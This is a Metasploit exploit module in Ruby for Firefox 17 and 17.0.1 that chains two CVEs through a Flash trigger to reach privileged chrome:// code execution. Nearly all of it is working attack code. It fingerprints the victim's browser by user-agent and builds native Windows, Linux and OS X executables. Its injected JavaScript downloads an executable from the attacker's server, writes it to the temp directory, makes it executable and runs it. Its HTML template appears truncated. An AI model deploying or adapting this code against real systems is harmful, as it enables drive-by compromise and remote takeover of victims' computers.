## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 17 and 17.0.1, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG "use" element in the (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame's window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it. }, 'License' => MSF_LICENSE, 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'Automatic', { 'Platform' => %w{ linux osx win }, 'Arch' => ARCH_X86 } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ] ], 'DefaultTarget' => 0, 'Author' => [ 'Marius Mlynski', # discovery & bug report 'joev', # metasploit module 'sinn3r' # metasploit fu ], 'References' => [ ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome:// ['OSVDB', '89019'], # maps to CVE 2013-0757 ['OSVDB', '89020'], # maps to CVE 2013-0758 ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906'] ], 'DisclosureDate' => 'Jan 08 2013' )) register_options( [ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] ), OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false]) ], Auxiliary::Timed) end def on_request_uri(cli, request) my_target = get_target(request.headers['User-Agent']) if my_target.nil? print_error("User agent does not match an available payload type, bailing.") send_not_found(cli) return end target = my_target if request.uri =~ /\.swf$/ # send Flash .swf for navigating the frame to chrome:// print_status("Sending .swf trigger.") send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) elsif request.uri =~ /\.bin/ # send the binary payload to drop & exec print_status("Child frame navigated. Sending binary payload to drop & execute.") send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' }) else # send initial HTML page print_status("Target selected: #{target.name}") print_status("Sending #{self.name}") send_response_html(cli, generate_html(target)) end handler(cli) end # @return [String] the encoded executable for dropping onto the client's machine def dropped_file_contents(cli, target) return if ((p=regenerate_payload(cli)) == nil) opts = target.opts exe = '' case target.name when /windows/i opts = opts.merge({:code=>p.encoded}) exe = generate_payload_exe(opts) when /linux/i exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) when /os x/i exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts) end return exe end # @return [Msf::Module::Target] that matches the client's user-agent header def get_target(agent) # Not firefox, bail if agent !~ /firefox/i return nil end # User wants to manually specify a target, respect that if target != targets[0] return target end # os detection if agent =~ /windows/i targets[1] elsif agent =~ /linux/i targets[2] elsif agent =~ /macintosh/i and agent =~ /intel/i targets[3] else nil end end # @return [String] the contents of the .swf file used to trigger the exploit def flash_trigger swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf") @flash_trigger ||= File.read(swf_path) end # @return [String] the filename that will be used when the payload is dropped def payload_filename(target) if target.name =~ /Windows x86/i "#{Rex::Text.rand_text_alphanumeric(8)}.exe" else "#{Rex::Text.rand_text_alphanumeric(8)}.bin" end end # @return [String] containing javascript code to execute with chrome privileges def js_payload(target) %Q| #{js_debug("Injection successful. JS executing with chrome privileges.")} var x = new XMLHttpRequest; x.overrideMimeType('text/plain; charset=x-user-defined'); x.open('POST', '#{base_url}.bin', false); x.send(null); #{js_debug("'Payload: '+x.responseText", "")} var file = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); file.append('#{payload_filename(target)}'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.write(x.responseText, x.responseText.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } #{chmod_code(target)} #{js_debug("'Downloaded to: '+file.path", "")} var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); process.run(false, [], 0); | end # @return [String] containing javascript that will alert a debug string # if the DEBUG is set to true def js_debug(str, quote="'") if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end end # @return [String] containing javascript that will chmod the dropped executable def chmod_code(target) return '' if target.name == 'Windows x86 (Native Payload)' %Q| var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); chmod.initWithPath("/bin/chmod"); var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(chmod); process.run(true, ["+x", file.path], 2); | end # @return [String] URL for sending requests back to the module def base_url proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" end # @return [String] HTML that is sent in the first response to the client def generate_html(target) vars = { :symbol_id => 'a', :random_domain => 'safe', :payload => js_payload(target), :payload_var => 'c', :payload_key => 'k', :payload_obj_var => 'payload_obj', :interval_var => 'itvl', :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', :loader_path => "#{base_url}.swf", :content => self.datastore['CONTENT'] || '' } %Q| #{vars[:content]} | end end